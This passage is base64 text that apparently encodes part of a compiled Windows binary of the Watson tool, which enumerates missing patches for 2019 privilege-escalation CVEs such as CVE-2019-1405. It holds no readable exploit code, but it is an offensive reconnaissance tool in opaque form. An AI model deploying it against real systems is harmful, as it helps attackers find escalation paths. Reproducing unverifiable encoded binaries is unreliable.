DAAMQA5AC0AMQA0ADAANQAtAGEAbgBkAC0AYwB2AGUALQAyADAAMQA5AC0AMQAzADIAMgAtAGUAbABlAHYAYQB0AGkAbwBuAC0AdABvAC0AcwB5AHMAdABlAG0ALQB2AGkAYQAtAHQAaABlAC0AdQBwAG4AcAAtAGQAZQB2AGkAYwBlAC0AaABvAHMAdAAtAHMAZQByAHYAaQBjAGUALQBhAG4AZAAtAHQAaABlAC0AdQBwAGQAYQB0AGUALQBvAHIAYwBoAGUAcwB0AHIAYQB0AG8AcgAtAHMAZQByAHYAaQBjAGUALwABCzEAMAAyADQAMAAACzEAMAA1ADgANgAACzEANAAzADkAMwAACzEANQAwADYAMwAACzEANgAyADkAOQAACzEANwAxADMANAAACzEANwA3ADYAMwAADzQANAA5ADMANAA3ADUAAA80ADQAOQA4ADMANwA1AAAPNAA0ADkAOQAxADUANAAADzQANQAwADUAMAA1ADEAAA80ADUAMAAzADIAOQAxAAAPNAA1ADAANwA0ADUAOAAADzQANQAxADIANAA5ADcAAA80ADUAMQA3ADIANwA2AAAPNAA1ADEANgAwADcAMAAADzQANQAyADIAMAAwADkAAA80ADUAMgAwADAAMQAxAAAPNAA1ADIANAAxADUAMwAADzQANQAyADUAMgAzADIAAA80ADUAMwAwADYAOAAxAAAPNAA0ADkAMwA0ADcAMAAADzQANAA5ADMANAA3ADMAAA80ADQAOQA5ADQAMQA4AAAPNAA0ADkANAA0ADQAMAAADzQANAA5ADkAMQA3ADcAAA80ADUAMAA1ADAANQAyAAAPNAA1ADAAMwAyADYANwAADzQANQAwADMAMgA5ADQAAA80ADUAMAA5ADQANwA1AAAPNAA1ADAANwA0ADUAOQAADzQANQAwADcANAA2ADAAAA80ADUAMQAyADQAOQA1AAAPNAA1ADEAMgA1ADEANwAADzQANQAxADYAMAA0ADQAAA80ADUAMQA2ADAANgAxAAAPNAA1ADIAMgAwADEAMAAADzQANQAxADkAOQA5ADgAAA80ADUAMgA0ADEANQAyAAAPNAA1ADIANQAyADMANgAADzQANQAzADAANgA4ADkAAA80ADQAOQAzADQANwA0AAAPNAA0ADkAMwA0ADMANgAADzQANAA5ADkAMQA2ADIAAA80ADQAOQA5ADEAOAAxAAAPNAA1ADAAMgAxADEAMgAADzQANQAwADUAMAA1ADUAAA80ADUAMAAzADIANwA5AAAPNAA1ADAAMwAyADgAOQAADzQANQAwADkANAA3ADYAAA80ADUAMAA3ADQANQAwAAAPNAA1ADAANwA0ADYANwAADzQANQAxADIANAA3ADQAAA80ADUAMQAyADUAMAA3AAAPNAA1ADEANgAwADUAOQAADzQANQAxADYAMAA2ADgAAA80ADUAMgAyADAAMQAxAAAPNAA1ADIAMAAwADEAMAAADzQANQAyADQAMQA1ADEAAA80ADUAMgA1ADIANAA1AAAPNAA1ADMAMAA3ADEAMQAADzQANAA5ADMANAA0ADEAAA80ADQAOQAzADQANAAwAAAPNAA0ADkAOQAxADQANwAADzQANAA5ADkAMQA3ADkAAA80ADUAMAA1ADAANgAyAAAPNAA1ADAAMwAyADgAMQAADzQANQAwADMAMgA4ADQAAA80ADUAMAA5ADQANwA3AAAPNAA1ADAANwA0ADUANQAADzQANQAwADcANAA2ADUAAA80ADUAMQAyADQAOQA0AAAPNAA1ADEAMgA1ADEANgAADzQANQAxADYAMAA2ADYAAA80ADUAMQA2ADAANwAxAAAPNAA1ADIAMgAwADEAMgAADzQANQAyADAAMAAwADQAAA80ADUAMgA0ADEANQAwAAANNAA1ADIANQAyADQAAA80ADUAMwAwADcAMQA0AAAPNAA0ADkAMwA0ADYANAAADzQANAA5ADMANAAzADcAAA80ADQAOQA5ADEANgA3AAAPNAA0ADkAOQAxADgAMwAADzQANQAwADUAMAA2ADQAAA80ADUAMAAzADIAOAA2AAAPNAA1ADAAMwAyADgAOAAADzQANQAwADkANAA3ADgAAA80ADUAMAA3ADQAMwA1AAAPNAA1ADAANwA0ADYANgAADzQANQAxADIANQAwADEAAA80ADUAMQAyADUAMAA5AAAPNAA1ADEANgAwADQANQAADzQANQAxADYAMAA1ADgAAA80ADUAMgAyADAAMQA0AAAPNAA1ADIAMAAwADAAOAAADzQANQAyADQAMQA0ADkAAA80ADUAMgA1ADIAMwA3AAARQgA0ADUAMwAwADcAMQA3AAAPNAA0ADkAMwA1ADAAOQAADzQANAA5ADUANgA2ADcAAA80ADQAOQA0ADQANAAxAAAPNAA0ADkANwA5ADMANAAADzQANQAwADEAOAAzADUAAA80ADUAMAA1ADAANQA2AAAPNAA1ADAAMQAzADcAMQAADzQANQAwADMAMwAyADcAAA80ADUAMAA5ADQANwA5AAAPNAA1ADAANQA2ADUAOAAADzQANQAwADcANAA2ADkAAA80ADUAMQAxADUANQAzAAAPNAA1ADEAMgA1ADMANAAADzQANQAxADIANQA3ADgAAA80ADUAMQA2ADAANwA3AAAPNAA1ADIAMgAwADEANQAADzQANQAxADkAMwAzADgAAA80ADUAMgA0ADEANAA4AAAPNAA1ADIAMwAyADAANQAADzQANQAzADAANwAxADUAAA80ADUAMgA1ADIANAAxAAAPNAA1ADMAMAA3ADEANwAACzEAOAAzADYAMgAADzQANQAwADMAMgA5ADMAAA80ADUAMAAxADMANwA1AAAPNAA1ADAANQA5ADAAMwAADzQANQAwADcANAA1ADMAAA80ADUAMQAyADUAMAA4AAAPNAA1ADEAMgA5ADQAMQAADzQANQAxADUAMwA4ADQAAA80ADUAMQA3ADIAMQAxAAAPNAA1ADIAMgAwADEANgAADzQANQAxADcAMwA4ADkAAA80ADUAMgA0ADEANAA3AAAPNAA1ADIANAA1ADcAMAAADzQANQAzADAANgA4ADQAAA80ADUAMQA5ADkANwA5AAAPNAA1ADIAMAAwADAANgAADzQANQAxADkAOQA3ADgAAA80ADUAMgAwADAANgAyAAAPNAA1ADIAMgAzADUANQAACzEAOAAzADYAMwAADSAAIABbAD8AXQAgAABBVwBpAG4AZABvAHcAcwAgAHYAdQBsAG4AcwAgAHMAZQBhAHIAYwBoACAAcABvAHcAZQByAGUAZAAgAGIAeQAgAAANVwBhAHQAcwBvAG4AAE8oAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AcgBhAHMAdABhAC0AbQBvAHUAcwBlAC8AVwBhAHQAcwBvAG4AKQABGSAAIAAgACAAewAwAH0AOgAgAHsAMQB9AAAfTwBTACAAQgB1AGkAbABkACAATgB1AG0AYgBlAHIAAEUgACAAIABXAGkAbgBkA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